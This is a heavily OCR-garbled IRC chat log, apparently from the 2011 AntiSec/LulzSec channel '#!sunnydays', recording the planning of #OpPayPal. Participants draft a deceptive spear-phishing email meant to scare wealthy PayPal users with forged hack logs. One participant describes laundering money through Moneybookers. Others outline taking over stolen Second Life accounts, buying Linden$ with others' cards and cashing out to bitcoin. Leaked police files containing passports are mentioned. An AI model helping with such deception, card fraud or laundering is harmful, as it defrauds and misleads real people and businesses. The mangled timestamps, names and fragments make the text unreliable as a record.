05:27 <@Sabu> you're acting like a fucking infant again 

05:27 shakes head 

05:27 <<m^^^ ^H^H do you feel my points are inarticulate and infantile? 
05:27 <(asaDu> I oor^t understand on your obsessive insi stance that we do what you 

want us to do 

05:28 <@Sabu> but yet 

05:28 <(asabu> you propose nothing 

05:28 <(asabu> you say I'm not helpful 

05:28 <@Sabu> yet I'm pushing this operation about 

05:28 <(£^^^B Sabu, I'm brainstorming and trying to come up with new ideas, I'm 
not try ing to make anyone do anything 

05:28 < gp|MBI you're the one asking me to contribute to this 
05:28 <^^^B if you can't appreciate it then don't ask 
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#! sunnydays.log 

05:28 <@Sabu> well we are a team 
05:28 <@Sabu> we do things together apparently 
05:28 <@Sabu> I figured you'd also work on something legal 
05:28 " " " ... 



I'm not saying I'm not, I'm trying to introduce new elements 

05:29 <(asabu> OK 

05:29 <@Sabu> and we agree for the most part your ideas can be used 
05:29 <@Sabu> so can you ... do something with your idea? 
05:29 <@Sabu> do you suggest we spear phish ceos? do you suggest we start 



sprinkling little rumors around the internets 




05:29 < _ 

brai nstormi ng 
05 ' 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 

di sagree 



I've been telling you, we're 
realtime 



of course I can, given time, but like 
right now and this is being made up in 
I m not a supercomputer of idea 
ok 

and it's hard to concentrate when you are calling me an infact 
*i nfant 

let us continue brainstorming 

and spamming caps 
I am so sorry I called you an infant 
I was severely wrong 

uhm sorry, i need ot read a little abacklocg but 
now 

can you please calm down? 
sabu? 

<@Sabu> lets get back to your bright idea 
30 <@Sabu> so step 1) we get operation exploding on twitter 

30 <(asabu> step 2) rumors. 

31 <@Sabu> ok how do we start on the rumors 
31 <@Sabu> and what rumors do you propose? 
31 <(asabu> step 3) ??? 

geez. 

_ is now known as 

Sabu: is this sarcasm or do you want to go ahead with the rumours? 
OHi:))) I AM 18 and wat is this 
now please... WE AR enot OUR enemy 

b8412556.EE24de46.84e78e68.IP] 
b8412556.EE24de46.84e78e68.IP] 



05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 





#! sunnydays [+o 



by Confuzion 



has quit [Ping timeout] 
has joined #! sunnydays 



its actually not so much different than back then., people 



<^^^^H that is okay! it really is 

<@Sabu> no. I'm literally waiting for this brainstorming to happen 
<^^H^| for whatever reason, it is no reason to attack each other 
<®SaDU> I am eager to help 
<@Sabu> no sarcasm there. 
<@Sabu> lets do this 



34 <@Sabu> so what exactly are you proposing ? 
reads backlog first 
would rather wait for 




's a team brainstorm 



what do you think of spreading rumours involving PayPal being 
or rather how we can go about it 

the idea in general: i liek: make it so that HIGH PROFILE ppl 
close t heir paypal accounts 

05:35 < well I brought up the whole false claims hurts our credibility 

conside ration , but if it's not antisec doing it, it's not an issue 
05:35 <~^^IH question is: how. 

05:35 < I support targetting paypal, making folks scared to trust their 

money w i tr^he m 

05:35 <(£^^^H nah not AntiSec, just a random outsider rumour that we can 

^as Anon) 

This is retaliation for the anonymous raids, right? 
_ but how can we make it convincing? 
yar or rather for the ridiculous charges 

.000 damages +15 years for not even attacking, but only being 

om rc 
05:37 



I guess we can invent some fake alias that claims to be in deep 

with Anon as a spy, then have him email certain people informing them that their 
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# lsunnydays.log 
specifi c PayPa l accounts are und er target from Anon 
05:37 <'^^^H which is what ^flls charged with 
05:37 <f^^^| they might close them or cash out from fear 
05:37 <'3^^^M that way we don't actually spread rumours fast, we only target 
speci f i c peopl e 

05:38 <^^^^| by people I mean large eBay shops/businesses 
05:38 <^^^^H Tet me write up an example email 
05:38 <(£^^^H one moment 

05:38 <~-^^|H we won't get any high rpofile people unless we show some kind of 
proof - - wn^n er forged ror real 

05:39 <€^^^B logs and screencaps, photoshopped , most of these people know 
nothi ng apoi^ lRC/computers 

05:39 <(£^^^| we can make up fake hack logs and just change certain words to 
look like PayPal 

05:40 <~^^^H hum okay, if we go on spearphishing and we KNOW our taret it may 
work 

05:40 <^^^^U it might not work but there's no harm in trying 

05:40 <~^|^^ but mass-distributing? no. someone will call our bluff and we are 

1 aughi n g^^ocR 

05:40 <^^^^M ^^^H we wouldn't be a laughing stock at all 
05:40 <^^^^| tnere is no bluff 

05:40 <^^^^H this is outside rumour that we, as Anonymous, will deny 
05:40 <^^^^| or we, as Anonymous, will ignore 
05:40 <:;^^H mhhh. 

05:41 <€^^^H again Anonymous isn't starting rumours in any way 
05:41 <^^^^H okayit has a certain charme 

05:41 <^^^^| when I say rumours, I mean absolutely forged outside random 
people, not An on 

05:42 <~^^^H well, can we fake paypal screenshots and shit like that which 

would maT^someone with $2M inhisaccount believe it's unsafe? 

05:42 <~fl^^H i doubt it, tbh 

05:42 <'^^^H he'd call paypal suppoer on 0800 

05:42 <(£^^^| so I propose we say the operation is ongoing and that PayPal 
itself is unaware 

05:42 writes quick email example of this 

05:43 <~^^^H paypal can easily proof that the rumors are BS tho 

05:43 <~^^^H to a high pofile customer at least (and they would) 

05:43 <~^^^H unless you have a specific fail proof plan i don't see yet 

05:45 <~^m| actually, maybe the beter (though stuff i even know LESS about) 

method wouTab e to get rumors out that paypal is basically bankrupt 

05:45 <~^^^H cause., i dunno, they invested in U.S. Treasurues in secrecy? :) 

05:45 <':^^^| and that they may not be able to cash everyone out 

05:45 <(dsabu> 

http : // jadedsecu ri ty . net/2011/07/27/anti sec-i ni ti ates-peacef ul -protest/ 
05:45 <^^^B Dear <x>, 

05:45 <^^^^| Hello. You may not know me, and I don't know you, but I need to 
warn you aooL^ something - Anonymous, the hacking collective, is currently 
targeting PayPal. Firstly you should know I hate Anonymous for what they do. if 
you google them, you'll see they've already began phase 1 of their plan, making 
people 1 eave P ayPal . 

05:45 <(£^^^H What you won't see is phase 2, this is something they are working 
on right now^ehind the scenes - I believe Anonymous has hacked into PayPal and 
is actively targeting large businesses and wealthy PayPal users, stealing their 
money a nd harm ing PayPal. 

05:45 <^^|^H I guess you can say I'm a spy within Anon. I'm in their top IRC 
channels anowatching them do this. Right now they are choosing targets, I think 
you might be one of them, but I can't say for sure. They mentioned something 
about [ [random shit about their store/business]] that's all I know. 
05:45 <(^^^^H I don't think changing your password/details is enough, they have 
complete access to changing accounts, so please be careful if you have funds in 
PayPal as I be lieve Anon intends to steal them 
05:46 <^^^^M [[fake 1 ogs/screencaps] ] 

05:46 <(£^^^| you don't have to believe me or you can take the risk if you want, 
this i s just a warning 

05:46 <(^^^B please don't make this email public or I may lose my status within 
Anon 

05:46 <~^^^H hmm a bit crude 

05:46 <~^^^| but i see what you mean 
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05:46 
05:46 
05:47 
05:47 
05:47 
05:49 
05:49 
05:49 
05:49 
05:49 
05:51 




#! sunnydays .log 
I made it up in one minute, yes crude 
we can work on it 

sabu wow 
! 

quick! 

^I^Mokay but do we also have targets for such mails? 
n^^^^B this is idea in progress, haven't gotten to that bit yet 
any suggestions? 
(for targets) 

I was thinking maybe some eBay stores 

well what i see is., this MIGHT work if it's really planed well 



and we have everything set 

but as long as we dont have that, we shouldplay it straight -- 
aoenst hurt paypal that much, but it gives a) media attentiion and 
definitely will also make Paypal at leat nervous 
how far will this go? 

I don't mind either way, just suggesting other plans 
we need to earn to disagree and not freak out while doing so :p 

learn 

i mean sabu, too :p 
has been entirely calm 

if we as a team don't agree with my idea being beneficial, then we 
I have no issues with that 
just trying to do my part 

apologies if my thinking was too extreme for certain people 
k, that is a good start :) 
love you sis :xxx) 
it is not too extreme for me. trust me. I've done worse, 
and sabu, yar, really, we still all rock here., so lets ... play 
that the way real pros do 

05:54 <@sabu> but to leave the drama out the door I apologize and will go from 
there 

all i want is to stay., non-personal 
on thepoi nt . . etc 

all good Sabu, I know how you can get at times, let's call it 
rather than rage, like Charlie Sheen 

haha, does charlie haz paypal? :p 
wants Sheen's PayPal 

you could buy 20 dildos and it would just look like a normal 




05: 
05; 
05; 



55 < 
55 < 
55 < 
passion 
05:55 <H 
05:56 * 
05:56 <q 
purchase 
06:00 <@Sabu> <3 
06:00 <@Sabu> 

http : //www . bl ogtal kradi o . com/vi ncei nthebay/2011/07/27/di sorderl y-conduct- 
tuesday-1 listening to this nig right now 



-f ruity- 



06:01 < Cyber-attacks against federal government networks spiked 40 percent 

last year^Trom about 30,000 in 2009 to nearly 42,000 in 2010, according to an 
office of Management and Budget report from this spring. can't wait till hear 
about 2011 =) 




hmm btw 
JKB is jester 
i think, or related 
rofl indeed 

does anyone in here use Moneybookers? 
because l have found a neat anonymous way to get BTC to 



06:01 
06:01 
06:01 
06:02 
06:05 
06:05 

Moneybo okers a nd into your bank that doesn't trace to anything 
06:07 <'S^^^M Cif you ever want to do this, all I'd need is your Moneybookers 
email (useaTake email) and I can direct USD into the account balance, which you 
could then use in your own style) 

06:08 <@Sabu> http://anonpad.org/oppaypal apparently 
that 

06:08 <^^^^M you don't want me to write it any more? 
06:09 <^|^^| ah looks like he's almost finished anyway 

06:10 <@Sabu> s8c FOR THE PEOPLE 
06:10 <@Sabu> © 

06:10 <©Sabu> @anonymouSabu @vi ncei ntheBay if OLulzSec did just a single 
#oppaypal tweet the results would be far more epic 
06:10 <~|^H ^^^^ t° 

06:10 <0Sabu> I would love for you to write it 
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06:10 
06:10 
06:10 



#! sunnydays.log 
06:10 <@Sabu> he's some random faggot 
06:10 <@Sabu> and you have a way of expressing points 
<||^^B 1emme read over his, sec 

<-^^^M DOO EEET :D 
06:10 <(asabu> you should be a writer btw 
06:10 <©Sabu> I respect your skills 
and 

mention 

@wilw and #fuckyouwashi ngton 

okay I'll do one of my own in another separate pad basing my 

just a moment 
if it fits lol 

(you choose whether or not to use it, I like the practice either 




06:10 
06:11 
06:11 
06:11 
points o 
06:11 < 
06:11 < 
way) 

06:11 <(asabu> kk 
06:11 <- 
06:16 <- 



wilw has 1.5m and he seems to like that tag 

also good: donate remaining funds (if you dont have that much) to 



chaity berore closing accounts 



06:16 . 

unity within 
06:17 <~ 



we can play the media and public like a fiddle., if we ar ein 



18:14 



account page is broken 



paypal has taken notice of the op, the close 



06:18 
06:18 
06:22 



06:24 
06:25 



what? 
lol 

not conclusive 
06:24 <@Sabu> link? 

06:24 <@Sabu> can we confirm its broken ?? 

nope, probably just some local shit 
have only herad from one person so far 
so., probably not true 
i have no PP account tho 
so cant confirm myself 

http://anonpad.org/gtdboFYyxs okay guys, wrote a quick attempt, 
it is 




06:30 < 



let me know how 
06 
06 



32 <©Sabu> yo 
32 <@Sabu> o 
06:32 <@Sabu> 
06:32 <@Sabu> 0" 

06:32 <@Sabu> 06:28 

made couple of days ago 
http : //pastebi n . com/3E7UPduL 
06:32 <@Sabu> «« 
own the (c) :) thank's ! 



IP (anonops) 

Starting query in anonops with 
we want to make a follow up release on CNAIPIC we 
New information is here »» 

please twitt it all over antisec and as before you 




06:32 <@Sabu> 06:28 
06:32 <(asabu> 06:29 



i't much more intresting then first one 
more comming soon 



06:32 <@Sabu> 06:29 <SABU> hi 

06:32 <(asabu> 06:29 <SABU> ou there? 

06:32 <(asabu> 06:30 _ yeah 

06:32 <(asabu> 06:30 <SABU> talk to me before you leave 



06 
06 
06 
06 



32 <©Sabu> 06:30 



but gotta go :) 



32 <@Sabu> 06:30 <SABU> wait. 
32 <@Sabu> 06:30 H man 



32 <@Sabu> 06:30 <SABU> no need to run off this is secure chat 
06:32 <@Sabu> 06:30 <SABU> for you and I 
06:32 <@Sabu> 06:30 <SABU> nobody nows we are talking 
06:32 <@Sabu> 06:30 <SABU> relax 
06:32 <@Sabu> 06:30 they are tracing.. 
06:32 <@Sabu> 06:30 <SABU> are you on their network ? 
06:33 <©Sabu> 06:30 <SABU> or at home? 

06:33 <@Sabu> 06:30 <SABU> nobody is tracing shit, brother 



at their office etc 
06:33 <(asabu> 06:31 



unless you're sitting 



cafe shop 

06:33 <@Sabu> 06:31 <SABU> did you upload the actual files? 

06:33 <@Sabu> 06:31 <SABU> I notice some files you uploaded the pdfs had reverse 
phone home etc 
06:33 <@Sabu> 06:31 . 

is very intresting 
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06:33 <(asabu> 
upload? 
06:33 <(asabu> 
06:33 <(asabu> 




06 
06 
06 
06 
06 
06 
06 



36 <©Sabu> 
36 <@Sabu> 

36 <@Sabu> 

37 <- 

37 <@Sabu> 

06:37 <@Sabu> 
06:37 <(asabu> 
06:38 < 
06:38 < 



the word 
06:38 
06:38 




06:43 
06:44 
06:44 
06:44 
06:44 
06:45 
06:45 
06:45 
06:46 
06:47 
06:47 
06:48 
06:48 
06:48 
06:48 
06:49 
06:49 
06:49 



#! sunnydays .log 

06:32 <SABU> you said there were 8gb of files, how much did you 

you get same msg ? 
he released more TTTes 

Sabu can you do a quick read of the release when you can? 

sorry 

sec 

on it 

oucr^^ 

http : //i mgu r . com/a/YlImb 
keep clicking pics 
mad shit 

i love that i think 
real ng http : //anonpad . org/gtdboFYyXS 
reading 
sec 

yar that i mean 

" tweet pictures of your account closure, tell us on IRC, spread 
yar ! 

we need pixs hehe 
true 

some ideas for the end 

i actually don't have anyting correct in the text i think 
it's prefect as usual 

the e doesnt work for me tho in the pad 
goddamn Frenchies 
and thei r es 

(that's okay, I set this VM up with a keyboard that doesn't even 

t) 

had to copy/paste it from google 
this ow works for me 

we'll add it after on the pastebi n/whatever 
ol sabu: http://seclists.org/fulldisclosure/2011/3ul/306 
this version? 






53 <@Sabu> 
53 <- 



the current one 
what? 

just asking if this should be final? 

If you want, just a quick 15 minute thing 

cannot really judge 

if you think it's good enough then sure 
mmh sabu? 

i think it's damn good actually 

thanks, appreciated 

just gonna fix a typo or two 

"A Message to Paypal & its customers"? 

yes please 

i may not see them heh 
k it's fine now 
pow holy shit, nice read rofl rolf rolfOrolf ro 
actuhm have a small thing 

and yeah HH^I that could be the pastebi n title 

check ful^^^closure from time to time 

though actually, I agree, sec 

just felt to make it more explicit might help 

yar 

okay it seems good 

okay off we go, will post as anonymous ire. hmmm 

would you tweet as lulzsec? 

yeah ©pastebi n would appreciate that too 

we're still in their good books 

they can give up IPs/close accounts for us 

i still need the crown :p 
yo the i tali an cyberfiles pastebi n, link it up gents 

fuck you, only superior shrubfucker gets the crown of pie 
tweet it up* 

http : //pastebi n . com/LAykdles 
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#! sunnydays .log 

there it is 
okay sec 

show us the tw33t 
simultaneous tweet? 
lemtne write it 
kk 

then we both do the same thing in the same second 
haha ok 

"I'll tweet same as you gents 
haha k, let us know the owrkinf 
wordi n 
wtf 

logging in 
"look at this 
54 <@Sabu> Energisch_ Mensch, Marina 
54 <@Sabu> @ 

06:54 <@Sabu> ©anonymouSabu Paypal now puts pressure on German online shop 
businesses to stop their trade with Kuba. There is no embargo in Germany, 
thats true that we know if? 

uhm in a moment 
if so thats crazy 

dunno 
sec researching 
just a moment 

This is a joint statement from #Anonymous (©AnonymouslRC) and Lul 

Security to PayPal (©PayPal) and its customers: http://pastebin.com/LAykdles 
everyone get it ready :D 
-3?? 
wat 

-3 if i dont shorten the URL 
the URL should automatically shoften 
shorten* 

ah k, will shorten then 
i usually avoid if possible :x 

+5 
:) 

ready then 
sabu ? 
hmm 

hmm it could need a #OpPayPal 
shall we wait for the S-man? 

_ ungn 
3Sabu> ok 

<@Sabu> confirmed from a few sources 

[^^^^^^^^^^^^^^^^^^^1 has joined #! sunnydays 
wat 

This is a joint statement from #Anonymous (©AnonymouslRC) and Lul 
yPal (#OpPayPal) and its customers: http://bit.ly/qgARf 
how about that? 
well hmm it's a bit weird 

u> confirmed from a few sources that the germans are being blocked 
business with cuba through paypal 

I think if we include ©PayPal they will get angry fans 
but germany has no embargos against cuba etc 
angry haters* 

sabu k, but lets tackle that after the statement 
so the first one works 
okay so we all get it ready nao 

? 

yeah first is better i guuess 
sec 

ok link me I'll copy paste 
This is a joint statement from #Anonymous (©AnonymouslRC) and Lul 

(©PayPal) and its customers: http://pastebin.com/LAykdles 
yup ready for this 

okay Sabu when you're ready we'll count down from 10 




has quit [Connection reset by peer] 



from doing 




07:00 
07:00 
07:00 



07:00 < 
07:00 < 
07:00 
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07:00 
07:00 
07:00 
07:00 
07:00 
07:00 
07:00 
07:00 
07:00 
07:00 
07:00 




okay so 

10 

9 

8 

7 

6 

etc 

CCCOMBO . 

3 

done 

2 



#! sunnydays .log 



07:00 <@Sabu> lol 



this win hit hard 
lol 

views me slower than I'd like 
'•be 

30/sec ond not so bad 

^^^1 click edit and add the accent on the e real quick 

on communique 

http://imagebin .org/165076 
argh i thought you removed it on purpose :p 

nah I removed it 'cause yours was a block with a question mark 
fixed 

and mine (to you) was a block with a question mark 
I guess we use different charsets 
lol 

gotta love Unicode 

<(cfsaHu>~ Join us in our latest operation against PayPal - tweet pictures of 
your account closure, tell us on IRC, spread the word. Anonymous has become a 
powerful channel of information, and unlike the governments of the world, we are 
here to fight for you. Always. 



07:01 
07:01 
07:01 
07:01 
07:01 
07:03 
07:03 
07:03 
07:03 
07:04 
07:04 
07:04 
07:04 
07:04 
07:04 
07:05 




07:05 
07:05 
07:05 
07:06 
07:06 
07:06 



fSaDU> 



http : //pwni es . com/ 

you must work in media mother fucker 



<@Sabu> you ' re good 



Sabu: we're good, check out my link and scroll to bottom 
we are nominated twice for a pwnie award LOL 

HBGary or LulzSec... hmmm... 

07:06 <©Sabu> I see ;) 

@AnonymouslRC account has been closed and money given to charity. 



07:06 
cheers 
07:06 
07:06 
07:08 
07:08 
07:08 
07:08 
07:08 
07:08 
07:08 
07:09 
07:09 
07:09 
07:09 
07:09 




07: 
07; 
07: 
07: 
07: 
07: 
07: 
07: 



10 
10 
10 
10 
10 

11 
11 



wi n : D 

are your RTing all those? 

lol no 

no need 
I am : / 
<-- gay 

it will get RTed like mad 

YAR 

someoeone should take your twiatter away from you lol 
maybe just retweet one or two of the best, 
lol 

http : //twi tter . com/# ! /Al baandOmegl e/status/96110418145185792 
! ! ! 

#oppaypal close your account get a free Mercedes 

hahahahah 

gnius 

ROFL 

^■3<3<3<3<3 

WE FUCKING ROCK THE NETZ. 

even if we argue like lame bitches hahaha 
true to thatz 



:11 <@Sabu> yo the new i tali an release contains the passports of the cyber 

force 

07:11 <(asabu> ROFL 

07:12 <@Sabu> can you guys tweet it also? 
07:12 <@Sabu> wait I think you did 



07:13 < 
vi ol ate 



I fail to see how any of the paypal ddos defendants specifically 

title 18 section 1030(a) (2) (C) 
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# lsunnydays.log 

07:14 <^^^ which specifically is about obtaining unauthorized information 
07:14 <@Sabu> the sad thing is those with bad lawyers will get fucked 
07:14 < 1030(a)(5) 'causing damage' is also very questionable, as each LOIC 

request is com parable to a standard http request 

07:14 < ^^^p so far nobody in Anonymous has faced jail time or a fine, 100% of 
people hav^Teen let off the hook - shit is really going to hit the fan when 

someone actually faces 15 years 

07:15 <~-V^0 jaraparilla RT ©deanprocter : PayPal is starting to put a blank 

page on "close Account" topic, http://twitpic.com/5wifh3 #OpPaypal 
07:15 <~^^^H second confirm now 

0^'^^ < mi f he 15 years is determined from the fact that there are three 

seperat e iTb O charges, three felonies 

07:15 < each 1030 charge has a max of 5 years 

07:16 < I suspect it'll be reduced to a single charge in the end 

07:17 < most of them will probably plea to the first offer made 

07:17 < ^^|especially the ones who cooperate with the feds 

07:21 < 1^^^ just paid the entire year's water tax with illicit funds shifted 

through tn^iew system 

07:21 < ^^^H feelsgoodman.pdf 

07:22 < ^^^1 I owe some Ugg boots for showing me the missing piece of the 

puzzl e 

07:23 <~^^H 1ol 

07:23 <~^^^| I 've seen so many screenshots of closed accounts 
07:23 <~-^Hm AWESOME 

07:23 < ^^|~"A copy o the source code for the LOIC client was obtained by Ralph 

Forsythe, Senior Security Engineer, eBay. Forsythe analyzed the code to determine 

the way the LOIC client program functions and subsequently provided a detailed 

report to Special Agend Adam Reynolds of the FBI" 

07:24 [^^^^^^^^^H has quit [User quit: Lost terminal] 

07:25 <@Sa&u> lame. 

07:26 < he spoke at this: 

http : //www. spl unk . com/vi ew/conf erence-sessi ons/SP-CAAAFFP 

07:26 < This session will examine how intuit and eBay are using Spl unk to 

prevent Waud and conduct forensic analysis. For intuit Splunk helps monitor for 
known fraudsters and fraudulent patterns and then speeds forensic investigations 
to understand which systems may have been compromised. For eBay, we'll review how 
Splunk was used as part of a solution for eBay's analysis, remediation, and 
evidence submission to law enforcement agencies after a 1 

07:26 < arge Distributed Denial of Service (DDoS) attack. The session will 

also review basic network topology and Splunk installation bits, and then look 
into some technical analysis of the attack, both with Splunk as the analytical 
tool and as au gmentation to other tools used. 
07:28 <~H^H i RT every tweet who donated 
07:28 <~^^B :D 

07:33 < ^^jwell I just read the search warrant from 

http : // www . w i red . com/th reatl evel /2011/07/op_payback/ from front to back 

07:33 < there's absolutely no description as to how what is alleged (LOIC) 

is a vi oTati on of 1030(a)(2)(c) 

07:34 < as 1030(a)(2)(c) deals specifically with obtaining unauthorized 

access or information 

07:34 < charges are trumped up as fuck 

07:35 < hopefully these folks get some good lawyers with understanding of 

computer crime laws 

07:35 < it would be good to prepare a text deconstructing these bogus 

charges , IT there isn't something out there already 
07:36 <@Sabu> would be nice to have 

07:37 < ^Mhttp : //www. law. cornel 1 .edu/uscode/18/1030. html 
07:37 < agreed 

07:38 < most importantly, we need to ride on these pig motherfuckers 

07:39 < I hope they put that cop server up so it can be quickly defaced and 

rm'd 

07:56 <~-V^H 7heuniverse RT ©TrendsMelbourne: #oppaypal is now trending in 
#Mel bourne http: //trendsmap.com/au/mel bourne 
07:56 <~^^pi tehe 

07:58 < decent analysis of 1030 as applied to that reddit guy bust: 

http : //wmv^i ti gati onandt ri al . com/2011/07/arti cl es/seri es/speci al -comment/aaron-s 

wartz-computer-f raud-i ndi ctment/ 

08:02 <@Sabu> reading 
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#! sunnydays .log 
the initial 5 years is ridiculous in itself 
ror sure 

hard to argue how an http request no different tha what you can do 



08:03 < 
08:04 < 
08:04 < 

with f i retox is 'recklessly damaging' 
08:05 < I " 

pursui ng 
08:06 
08:10 
08:10 
08:10 
08:11 
08:12 
08:13 
08:18 
08:19 
08:19 
08:19 
08:20 





it's hard to believe that these are the charges that the FBI is 

compared to the other major attacks 
^^^1 actually 
your plan may work now 
heh 

someone already said it "paypal gonna get hacked" 

kerpia-lc327469.torservers.net] has quit [Ping timeout] 
kerpia-34C05721.torservers.net] has joined #! sunnydays 



ttp : //twi tter . com/AnonymousIRC/statuses/96133695899049984 
playing vague :p 
lets try to make panic 
no lies, just advice lol 

08:26 <©Sabu> ok faggots 

08:26 <@Sabu> im about to nostalgia your night up 

08:26 <@Sabu> http : //www. youtube . com/watch?v=LzP_a7Q9i gg 

08:28 <@Sabu> ABCtech ABC Tech and Games 

08:28 <@Sabu> anyone here closed their paypal account? Anonymous is scheming 
against it. Claims 9000 accts closed/boycotted so far. Next plan is a strike 
08:28 <(asabu> lolol 

08:29 <@Sabu> http://twitpic.com/5wifh3 blank pages 
08:30 <~piH 

http://www. cyBerwarnews . i nfo/2011/07/27/operation-paypal -whats-the-hype/ 
sabu eah but it could be just "ddos" 
heh 

35 <@Sabu> we're not ddosing it 

36 <@Sabu> nobody is afaik 
36 <@Sabu> oh wait 
36 <©Sabu> sarcasm? 

<©Sabu> hahahaha 
<©Sabu> I'm slow sorry 

<@Sabu> as an alternative lets push people to just go buy pre-paid cards 
<@Sabu> thats the best imo 
<@Sabu> plus secure 
<@Sabu> anonymous 
<@Sabu> less invasive 

<@Sabu> we are killing many birds with one stone 



08:30 < 
08:30 < 
08: 
08: 
08: 
08: 
08: 
08: 
08: 
08: 
08: 
08: 
08: 
08: 




36 
36 
38 
38 
38 
38 
38 
38 



08:39 
08:39 
08:39 
08:40 

08:41 
08:41 



yeah "ddos" as in 

too many people clocing on cancel account lol 
clicking 

this is awesome so wfar 

[_(a9lAFDFCD. 5BEF5915.CEC56216.IP] has quit [Ping timeout] 
<@SaDu^i ndeed 




08:41 <@Sabu> you sexy prick 



08:42 
08:45 
08:49 
08:49 
08:49 
08:50 
08:54 
08:54 

yet reason 
08:55 < 



[_(a9lAFDFCD. 5BEF5915.CEC56216.IP] has joined #!sunnydays 

kerpia-5D75A2DA.torservers.net] has quit [input/output error] 

ttp : //twi tter . com/AnonymouslRC/statuses/96141115220164608 

damn left 
that was for him heh 
nice 

also, Second Life is respectably secure on its transaction limits, 
at the same time 

it limits you to $30/month to begin with, then has different 
sections you go through in days - if it's been 0-1 days since your first ever 
transaction with Second Life, it's $30/months, 2-7 days is $100/month, then after 
it goes past 27 days you can have $3000/month 

08:55 < ^^^H so it stops credit card fraud immediately and lifts limits for 
itself 




08: 
08: 
08: 
08: 




fuck that's good 
Sabu: ping 



if you get rich, invite you rsis for a beer lol 
actually, this method gives me a fantastic idea, an amazing 
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idea in fact 
08:57 < 



#! sunnydays.log 



if we ever steal someone's Second Life account, and they're maybe 
level whatever playing for a year, we can hop into their account, use their card 
(or someone else's) to buy Linden$ instantly, sign their account up to the 
currency exchange, verify it, then convert their Linden$ to BTC and run away with 
it all 



08:57 < 
will be 
08:59 < 



even if we're using someone else's card, the Second Life player 

amed, and he has no way to deny it 

and then we can dump that BTC into prepaids or loop it around in 



the currency exchange through a second account, converting it into USD 



08:59 < . 
/have/ a" 
09:03 < 
09:03 < 
09:03 
09:03 
09:04 
09:04 




or if we sign into someone's Second Life account and they already 
It load of Linden$, then we convert it to BTC in 4 seconds and run away 
heh 

are there still "players" left in SL? 
i heard it was some kind of wastelands 
where you only meet ccasional furries etc 
but i dunno shit about SL, tbh 

no idea, but if it really is full of hardcore furries, my guess is 
that their accounts are level over 9000, they have no transaction limits, and 
they have lots and lots of LindenS 

09:05 < ^^^H tl;dr furries have LindenS, we can convert Linden$ to BTC 
i nstantl^ana nobody can do shit about it 
09:05 <~HH 

http|//www^nei nqui rer . net/i nqui rer/news/2097078/anti sec-goes-paypal 
hmm . . . yes 

it was the first option., to get BC into $$ 
hi guise 

http : //www . answe rs . com/mai n/ntquery?s=second+l i f e+&gwp=13 
convert via Linden$ 

""Since Linden dollars can be converted to real dollars. Second 
Lifers lost real money, and in early 2008, Second Life closed down the virtual 
banks, stating that only real chartered banks could offer banking services."" 
09:06 <^^^^H whatever that means 

09:07 < ^^^1 there are no official virtual banks, but there's this third party 
currency converter called vi rwox that has ingame Second Life terminals for 
sending Linden$ back and forth 



09:05 
09:05 
09:05 
09:05 
09:05 
09:06 




09:07 < 



from the vi rwox site you can add LindenS (SLL) as balance and 



automatically trade it to BTC or USD instantly 



09:07 < 
09:08 < . 
transfer 
09:08 < 
09:08 < 
09:09 < 

Wfor secon 
09 < 
09:10 < 
09:17 
09:23 < 




you can also add btc and trade it to SLL and then USD 
from USD you can dump it into PayPal, Moneybookers , or direct bank 




09:24 
09:24 



ok, so you know there's still game 

I would think the real hardcore players are stuffed with Linden$ 
so any email we get (gmail for example) please do a search at the 
life 

and we can get ourselves some BTC >:] 

(for reference, I converted 100,000 LindenS into 400USD) 
[^^8fc68bf0.C1a97d99. F3E927CC.IP] has joined #!sunnydays 

Law enforcement may be interested to see if anyone actually shows 

up to this year to accept the annual Pwnie Award for Epic Ownage at Black Hat, 
since all the nominees face possible criminal charges. 

too bad biella isn't on blackhat 
we need someone to pick up the trophy lol 
send cOs, nOpants, .. ? 
s/s end/ask 

bet ^^^1 isnt going to risk his freedom flying into teh States 
let's not rule out the possibility that wiki Leaks will win :P 
also, hell if cOs is picking up an award for LulzSec/Anonymous 
let's get them to mail it to a neutral location 
or convert it to ASCII and email it to us 

i actually made the suggestion that they deposit it in the desert 
we can pick it up later :x 

<^|^^ or convert it to ASCII and email it to us 
tn^^^ even better tho! 

^^^H hear the choppers coming over the hill once you touch that 



< 

09:25 < 
09:25 < 
09:26 
09:26 
09:26 
09:26 
09:27 
09:37 < 
09:37 < 
09:38 < 
09:38 < 
09:38 
thi ng 
09:38 



< 

;p 

< 




09:39 <®SaBu> yes 



we'll have Barrett pick it up :x 
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09:39 <@Sabu> send bb 



# lsunnydays.log 



09:39 
09:39 
09:39 
09:39 



that was my f i rst thought too 
bb 
lol 

trolling the trolls 
we should actual 1 askl him 
heh 

DaKnObCS In the first 100 tweets of hash-tag #OpPayPal , 87 was 
of accounts closing. Hell yea! ©AnonymouslRC #anonymous #OpPayPal 
also, lol 

Glucifer RT ©Anonyphant: Thanks Fox news, I am using your tactic 

of fear mongering to scare people into closing their paypal accounts #OpPayPal . 
09:44 <mm . 
09:46 <@Sabu> lo 
09:46 <@Sabu> 1 




09:39 < 
09:39 
09:42 
announcements 
09:43 < 
09:43 < 



09:46 < 
09:46 < 
09:46 < 
09:48 < 
played. 
09:48 < 
09:49 < 
09:49 < 
09:49 
10:02 
10:03 
10:04 
10:04 
10:05 





activity at all 
10:05 
10:06 
10:06 
10:06 
10:06 
10:06 < 
10:07 < 
10:07 < 
10:07 < 
10:07 < 
10:07 
10:07 
10:07 
10:07 
10:07 
10:07 
10:07 
10:07 



i will take some rest i think 
been a mad day lol 
Sabu>~by all means brother 

AFransquet #oppaypal is trending., well played OAnonymousIRC, well 
1 deactivate my account immediatelly! 

shit indeed 
Sabu, around ? 

i saw the new i tali an release, but seems all shit :-\ 
have we a direct contact with the crew that leaked that ? 
this is such a mindfuck lolol 

[^^^^^^^^^1 has joined #!sunnydays 
hey 

seems my phone service is still down 

but, no strange cars or visitors to my home address, no 
no one asking odd questions 
I think I must ave just pissed off the telco again xD 

so all is well 

haha 

wb ^^^^^1 

paranoia ove? 
over even, good 
you missed epic fun 

what have I missed? 

we're damaging paypal 
how? 

in a way that no ddos ever did 
_ OOOOH 

massive account closing lol 
XD 

'sec 

that is EPIC 

I hope we are pillaging alsp 





http ://www. plTT 1 i pbrennan . net/2011/07/27/anonymous-launches-oppaypal -lawful -di rect 

-acti on-agai nst-the-machi ne/ 



10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 < 
10:08 
10:08 
10:08 
10:08 
10:08 < 
10:09 < 
10:09 
